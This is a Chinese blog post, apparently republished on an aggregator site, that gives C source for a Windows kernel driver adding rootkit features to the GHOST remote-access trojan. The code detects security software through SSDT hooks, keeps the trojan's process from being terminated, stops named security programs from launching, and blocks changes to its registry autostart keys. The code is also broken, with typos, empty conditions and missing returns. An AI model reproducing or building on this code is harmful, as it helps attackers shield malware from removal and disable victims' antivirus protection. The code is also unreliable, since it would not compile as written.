为GHOST木马添加ROOTKIT功能

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了为GHOST木马添加ROOTKIT功能相关的知识,希望对你有一定的参考价值。

GHOST远控是比较有名也比较老的一个远控程序了,原版的ghost远控似乎有一个SSDT HOOK功能的模块,当然已经没有什么用处了。这里在GHOST的基础上添加一些ROOTKIT功能,而且随着x64下PG的发展,这里不打算使用传统的HOOK技术,而是用系统回调机制来实现一些功能,其实这些回调机制也已经是ARK的重点关照对象了,这里主要是做练习实用性不是很高。

  1 //驱动模块
  2 #include "winddk.h"
  3 #include "windows.h"
  4 #include <ntifs.h>
  5 #include <windef.h>
  6 //一些方便记忆的宏
  7 #define QUERY_SUCCESS 1 //没有被HOOK
  8 #define QUERY_FAIL 0    //已有HOOK
  9 #define QUERY_ERROR -1    //出错
 10 PVOID pBuffer = 0;
 11 
 12 NTSTATUS DriverEntry(PDRIVER_OBJECT MyDriver,
 13     PUNICODE_STRING RegPath)
 14 {
 15     MyDriver->DriverUnload = UnloadFunc;
 16 
 17 }
 18 NTSTATUS UnloadFunc(PDRIVER_OBJECT MyDriver)
 19 {
 20     //不要忘记卸载必要资源,以免蓝屏
 21 }
 22 
 23 
 24 
 25 //////////////////////////////
 26 //检测SSDT是否已被挂钩。如果已被挂钩说明有安全类软件存在。
 27 //声明结构
 28 typedef struct ServiceDescriptorEntry {
 29     unsigned int *ServiceTableBase;
 30     unsigned int *ServiceCounterTableBase;
 31     unsigned int NumberOfServices;
 32     unsigned char *ParamTableBase;
 33 } ServiceDescriptorTableEntry_t, *PServiceDescriptorTableEntry_t;
 34 
 35 NTSYSAPI NTSTATUS NTAPI ZwQuerySystemInformation(
 36     IN ULONG SystemInformationClass,
 37     IN OUT PVOID SystemInformation,
 38     IN ULONG SystemInformationLength,
 39     OUT PULONG ReturnLength);
 40 // 导入结构地址
 41 __declspec(dllimport)  ServiceDescriptorTableEntry_t KeServiceDescriptorTable;
 42 DWORD QuerySSDTHook(DWORD *IdNumbers)
 43 {
 44     DWORD SSDT_ID = 0,Numbers=0;
 45     DWORD FuncAdress = 0;
 46     DWORD NtHighAdress = 0;
 47     DWORD NtLowAdress = 0;
 48     memset(IdNumbers, 0, sizeof(IdNumbers));
 49     pBuffer = ExAllocatePoolWithTag(PagedPool,
 50             0x10000,
 51             "Tag1");
 52     if (!NT_SUCCESS(pBuffer))
 53     {
 54         return QUERY_ERROR;
 55     }
 56     NTSTATUS Status=ZwQuerySystemInformation(SystemModuleInformation,
 57         pBuffer, 
 58         0x10000,
 59         NULL);
 60     if (!NT_SUCCESS(Status))
 61     {
 62         return QUERY_ERROR;
 63     }
 64     NtHighAdress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Base;
 65     NtLowAdress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Size + NtHighAdress;
 66     for (;;)
 67     {    
 68         FuncAdress=(DWORD)KeServiceDescriptorTable.ServiceTableBase[SSDT_ID];
 69         if (!FuncAdress)
 70         {
 71             break;
 72         }
 73         if (FuncAdress>NtHighAdress||FuncAdress<NtLowAdress)
 74         {
 75             IdNumbers[Numbers] = SSDT_ID;
 76             Numbers++;
 77         }
 78         SSDT_ID++;
 79     }
 80     return Numbers == 0 ? QUERY_SUCCESS : QUERY_FAIL;
 81     
 82 }
 83 VOID FreeQuerySSDTHook(void)
 84 {
 85     ExFreePoolWithTag(pBuffer, "Tag1");
 86 }
 87 
 88 
 89 ///////////////////////////////////////////////////////
 90 //自我保护功能
 91 //1.设置进程事件通知,检测安全软件运行
 92 //2.注册进程对象回调,检查对本进程对象的操作
 93 //3.设置关机回调检测自启动设置
 94 //4.设置注册表事件通知,保护我的设置值
 95 NTKERNELAPI PCHAR PsGetProcessImageFileName(PEPROCESS Process);
 96 NTSTATUS SelfProtection()
 97 {
 98     NTSTATUS obst1=0;
 99     LARGE_INTEGER CallbackCookie = { 0 };
100     OB_CALLBACK_REGISTRATION obReg;
101     OB_OPERATION_REGISTRATION opReg;
102     memset(&obReg, 0, sizeof(obReg));
103     obReg.Version = ObGetFilterVersion();
104     obReg.OperationContext = NULL;
105     obReg.RegistrationContext = NULL;
106     RtlInitUnicodeString(&obReg.Altitude, L"321124");
107     obReg.OperationRegistration = &opReg;
108     memset(&opReg, 0, sizeof(&opReg));
109     opReg.ObjectType = PsProcessType;
110     opReg.Operations = OB_OPERATION_HANDLE_CREATE | OB_OPERAION_HANDLE_DUPLICATE;
111     opReg.PreOperation = (POB_PRE_OPERATION_CALLBACK)&ProccessProtectCallBack;
112     //保护自身进程对象不被打开
113     obst1 = ObRegisterCallbacks(&obReg, &obHandle);
114     //阻止安全软件运行
115     PsSetCreateProcessNotifyRoutineEx(
116         (PCREATE_PROCESS_NOTIFY_ROUTINE_EX)MyProcessNotifyRoutine,
117         FALSE);
118     //保护注册表
119     CmRegisterCallback(MyRegCallback,
120         NULL,
121         &CallbackCookie);
122 }
123 VOID MyProcessNotifyRoutine(PEPROCESS Process,
124     HANDLE ProcessID,
125     PPS_CREATE_NOTIFY_INFO ProcessInfo
126     )
127 {
128     char *EnemyName[20] = {0};
129     char NameBuffer[20] = "";
130     BOOL YesOrNo = 0;
131     strcpy(NameBuffer, PsGetProcessImageFileName(Process));
132     if (ProcessInfo==NULL)
133     {
134         return;
135     }
136     for (int i=0;;i++)
137     {
138         if (EnemyName[i]==0)
139         {
140             break;
141         }
142         if (!stricmp(NameBuffer,EenmyName[i]))
143         {
144             YesOrNo = 1;
145         }
146     }
147     if (!YesOrNo)
148     {
149         //不是敏感进程,直接结束回调函数
150         return;
151     }
152     ProcessInfo->CreationStatus = STATUS_UNSUCCESSFUL;
153     return;
154 }
155 BOOL IsProtectedProcessName(PEPROCESS MyEprocess)
156 {
157     if (!stricmp("MyProcessName",PsGetProcessImageFileName(MyEprocess)))
158     {
159         return 0;
160     }
161     return 1;
162 }
163 
164 OB_PREOP_CALLBACK_STATUS ProcessProtectCallBack(PVOID RegContext,
165     POB_PRE_OPERATION_INFORMATION pOperationInformation)
166 {
167     if (p0perationInformation->ObjectType!=*PsProcessType)
168     {
169         return OB_PREOP_SUCCESS;
170     }
171     if (IsProtectedProcessName((PEPROCESS)pOperationInformation->Object))
172     {
173         if (pOperationInformation->Operation == OB_OPERATION_HANDLE_CREATE)
174         {
175             if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess&
176                 PROCESS_TERMINATE)==PROCESS_TERMINATE)
177             {
178                 pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
179             }
180         }
181         if (pOperationInformation->Operation == OB_OPERATION_HANDLE_DUPLICATE)
182         {
183             if ((pOperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess&
184                 PROCESS_TERMINATE) == PROCESS_TERMINATE)
185             {
186                 pOperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;
187             }
188         }
189     }
190     return OB_PREOP_SUCCESS;
191 }
192 
193 BOOL ObejctToRegName(OUT PUNICODE_STRING RegPath,
194     IN PVOID RegObject)
195 {
196     NTSTATUS Status1 = 0;
197     PUNICODE_STRING TempRegPath = 0;
198     ULONG Length = 0;
199     if (!RegPath)
200     {
201         return FALSE;
202     }
203     if (!MmIsAdressValid(RegObject)||(RegObject==NULL))
204     {
205         return FALSE;
206     }
207     Status1 = ObQueryNameString(RegObject, (POBJECT_NAME_INFORMATION)TempRegPath, 0, OUT &Length);
208     if (Status1==STATUS_INFO_LENGTH_MISMATCH)
209     {
210         TempRegPath = ExAllocatePoolWithTag(NonPagedPool, Length, TAG2);
211         Status1 = ObQueryNameString(RegObject, (POBJECT_NAME_INFORMATION)TempRegPath, Length, &Length);
212         if (NT_SUCCESS(Status1))
213         {
214             RtlCopyUnicodeString(RegPath, TempRegPath);
215             ExFreePoolWithTag(TempRegName, TAG2);
216             return TRUE;
217         }
218     }
219     return FALSE;
220 }
221 
222 NTSTATUS MyRegCallback(PVOID CallbackContext,
223     PVOID atg1,
224     PVOID arg2)
225 {
226     char *ProcessName = 0;
227     LONG Type = 0;
228     Type = (REG_NOTIFY_CLASS)arg1;
229     UNICODE_STRING RegPath = { 0 };
230     RegPath.MaximumLength = 2048 * sizeof(WCHAR);
231     RegPath.Buffer = ExAllocatePoolWithTag(NonPagedPool, 2048 * sizeof(WCHAR), TAG1);
232     if (!RegPath.Buffer)
233     {
234         return STATUS_SUCCESS;
235     }
236     switch (Type)
237     {
238     case RegNtPreDeleteKey:
239     {
240         ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess());
241         ObejctToRegName(&RegPath, ((PREG_DELETE_KEY_INFORMATION)arg2)->Object);
242         if (/*此处放置要保护的键*/)
243         {
244             ExFreePoolWithTag(RegPath.Buffer,TAG1);
245             return STATUS_ACCESS_DENIED;
246         }
247         ExFreePoolWithTag(RegPath.Buffer, TAG1);
248         return STATUS_SUCCESS;
249     }
250     case RegNtPreSetValueKey:
251         ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess());
252         ObejctToRegName(&RegPath, ((PREG_SET_VALUE_KEY_INFORMATION)arg2)->Object);
253         if (/*TIAOJIAN*/)
254         {
255             ExFreePoolWithTag(RegPath.Buffer, TAG1);
256             return STATUS_ACCESS_DENIED;
257         }
258         ExFreePoolWithTag(RegPath.Buffer, TAG1);
259         return STATUS_SUCCESS;
260     case RegNtPreDeleteValueKey:
261         ProcessName = PsGetProcessImageFileName(PsGetCurrentProcess());
262         ObejctToRegName(&RegPath, ((PREG_DELETE_VALUE_KEY_INFORMATION)arg2)->Object);
263         if (TIAOJIAN)
264         {
265             ExFreePoolWithTag(RegPath.Buffer, TAG1);
266             return STATUS_ACCESS_DENIED;
267         }
268         ExFreePoolWithTag(RegPath.Buffer, TAG1);
269         return STATUS_SUCCESS;
270     default:
271         ExFreePoolWithTag(RegPath.Buffer, TAG1);
272         return STATUS_SUCCESS;
273     }
274 }
275 
276 
277 
278 
279 ///////////////////////////////////////////////////////////////////
280 //搜索函数,在内核中搜索指定序列,需指定5个字节
281 NTSTATUS FindFuncInTheKernel(IN BYTE *FindBytes, OUT PVOID *Address)
282 {
283     NTSTATUS Status = 0;
284     DWORD NtHighAddress = 0;
285     DWORD NtLowAddress = 0;
286     PVOID pBuffer = 0;
287     if (sizeof(FindBytes)!=5)
288     {
289         return 0XFFFFFFFF;
290     }
291     pBuffer = ExAllocatePoolWithTag(PagedPool,
292             0x10000,
293             Tag3);
294     memset(pBuffer, 0, 0x10000);
295     Status = ZwQuerySystemInformation(SystemModuleInformation,
296         pBuffer,
297         0x10000,
298         NULL);
299     if (!NT_SUCCESS(Status))
300     {
301         return QUERY_ERROR;
302     }
303     NtHighAddress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Base;
304     NtLowAddress = (DWORD)((PSYSTEM_MODULE_INFORMATION)pBuffer)->Module[0].Size + NtHighAdress;
305     for (DWORD i = NtLowAddress; i < NtHighAddress; i++)
306     {
307         BYTE *TempPointer = (PBYTE)i;
308         if (i[0] == FindBytes[0] &&
309             i[1] == FindBytes[1] &&
310             i[2] == FindBytes[2] &&
311             i[3] == FindBytes[3] &&
312             i[4] == FindBytes[4])
313         {
314             *Address = (PVOID)i;
315             ExFreePoolWithTag(pBuffer, Tag3);
316             ///return 成功
317         }
318     }
319     ExFreePoolWithTag(pBuffer, Tag3);
320     //return 失败
321 }

 

以上是关于为GHOST木马添加ROOTKIT功能的主要内容,如果未能解决你的问题,请参考以下文章

这几招技术,病毒木马经常用!

Rootkit XSS 之 Cookie

安全运维之:Linux后门入侵检测工具,附最新bash漏洞解决方法

Linux后门入 侵检测工具RKHunter和ClamAV的使用

木马Trojan.Generic的解决办法

Java itext为pdf 文件添加水印核心功能代码片段